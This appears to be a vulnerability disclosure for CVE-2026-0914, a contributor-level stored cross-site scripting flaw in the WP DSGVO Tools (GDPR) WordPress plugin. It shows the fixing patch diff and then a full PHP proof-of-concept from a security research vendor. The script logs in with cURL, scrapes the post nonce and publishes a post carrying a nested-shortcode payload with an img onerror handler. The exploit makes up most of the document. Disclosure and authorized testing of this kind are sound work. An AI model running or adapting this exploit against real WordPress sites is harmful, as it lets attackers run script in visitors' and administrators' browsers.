CVE-2026-0914: WP DSGVO Tools (GDPR) <= 3.1.36 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'lw_content_block' Shortcode (shapepress-dsgvo)

--- a/shapepress-dsgvo/public/shortcodes/content-block-shortcode.php
+++ b/shapepress-dsgvo/public/shortcodes/content-block-shortcode.php
@@ -13,11 +13,11 @@
 	global $OL3_LIBS_LOADED;
 	//$OL3_LIBS_LOADED = 0;

-    $shortcode = $params['shortcode'];
+    $shortcode = sanitize_key($params['shortcode']);
     if (empty($shortcode) == false) $content = do_shortcode("[" . $shortcode ."]");

     $embeddingApi = SPDSGVOEmbeddingsManager::getInstance()->getEmbeddingApiBySlug($slug);
-    if ($embeddingApi == null) return $content;
+    if ($embeddingApi == null) return wp_kses_post($content);
     // if its allowed by cookie nothing is to do here. otherwise replace iframes, show image, add optin handler
     if ($embeddingApi->checkIfIntegrationIsAllowed($embeddingApi->slug) == true) return $content;

--- a/shapepress-dsgvo/sp-dsgvo.php
+++ b/shapepress-dsgvo/sp-dsgvo.php
@@ -16,7 +16,7 @@
  * Plugin Name:       WP DSGVO Tools (GDPR)
  * Plugin URI:        https://legalweb.io
  * Description:       WP DSGVO Tools (GDPR) help you to fulfill the GDPR (DGSVO)  compliance guidance (<a target="_blank" href="https://ico.org.uk/for-organisations/data-protection-reform/overview-of-the-gdpr/">GDPR</a>)
- * Version:           3.1.36
+ * Version:           3.1.37
  * Author:            legalweb
  * Author URI:        https://www.legalweb.io
  * License URI:       http://www.gnu.org/licenses/gpl-2.0.txt
@@ -28,7 +28,7 @@
     die();
 }

-define('sp_dsgvo_VERSION', '3.1.36');
+define('sp_dsgvo_VERSION', '3.1.37');
 define('sp_dsgvo_NAME', 'sp-dsgvo');
 define('sp_dsgvo_PLUGIN_NAME', 'shapepress-dsgvo');
 define('sp_dsgvo_LEGAL_TEXTS_MIN_VERSION', '1579021814');

// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0914 - WP DSGVO Tools (GDPR) <= 3.1.36 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'lw_content_block' Shortcode
<?php

$target_url = 'http://vulnerable-wordpress-site.local/wp-admin/post.php';
$username = 'contributor';
$password = 'password';

// Initialize cURL session for login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// First, get the login page to retrieve the nonce
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
$login_page = curl_exec($ch);
preg_match('/name="log"[^>]+value="([^"]*)"?/', $login_page, $log_match);
preg_match('/name="pwd"[^>]+value="([^"]*)"?/', $login_page, $pwd_match);

// Perform login
$post_fields = [
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url,
    'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$login_response = curl_exec($ch);

// Check if login was successful by attempting to access the post creation page
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post-new.php');
curl_setopt($ch, CURLOPT_POST, false);
$post_page = curl_exec($ch);

// Extract the nonce required for creating a post
preg_match('/name="_wpnonce" value="([^"]+)"/', $post_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

// Craft the malicious post content with the vulnerable shortcode
// The payload uses a nested shortcode attribute to trigger XSS via the caption shortcode
$malicious_content = '[lw_content_block shortcode="[caption width="1" caption="<img src=x onerror=alert("XSS")>"]"]';

// Prepare POST data to create a new post with the payload
$post_data = [
    'post_title' => 'Test Post with XSS',
    'content' => $malicious_content,
    'publish' => 'Publish',
    '_wpnonce' => $nonce,
    '_wp_http_referer' => '/wp-admin/post-new.php',
    'post_type' => 'post',
    'post_status' => 'publish'
];

// Submit the post creation request
curl_setopt($ch, CURLOPT_URL, 'http://vulnerable-wordpress-site.local/wp-admin/post.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
$result = curl_exec($ch);

// Check for success
if (strpos($result, 'Post published.') !== false) {
    echo "[+] Exploit successful. Post containing XSS payload published.n";
    // Extract the post URL from the response for verification
    preg_match('/class="edit-post-link" href="([^"]+)"/', $result, $post_link_matches);
    if (!empty($post_link_matches[1])) {
        echo "[+] Post URL: " . htmlspecialchars($post_link_matches[1]) . "n";
        echo "[+] Visit the post to trigger the XSS payload.n";
    }
} else {
    echo "[-] Exploit failed. Check authentication and permissions.n";
}

curl_close($ch);

?>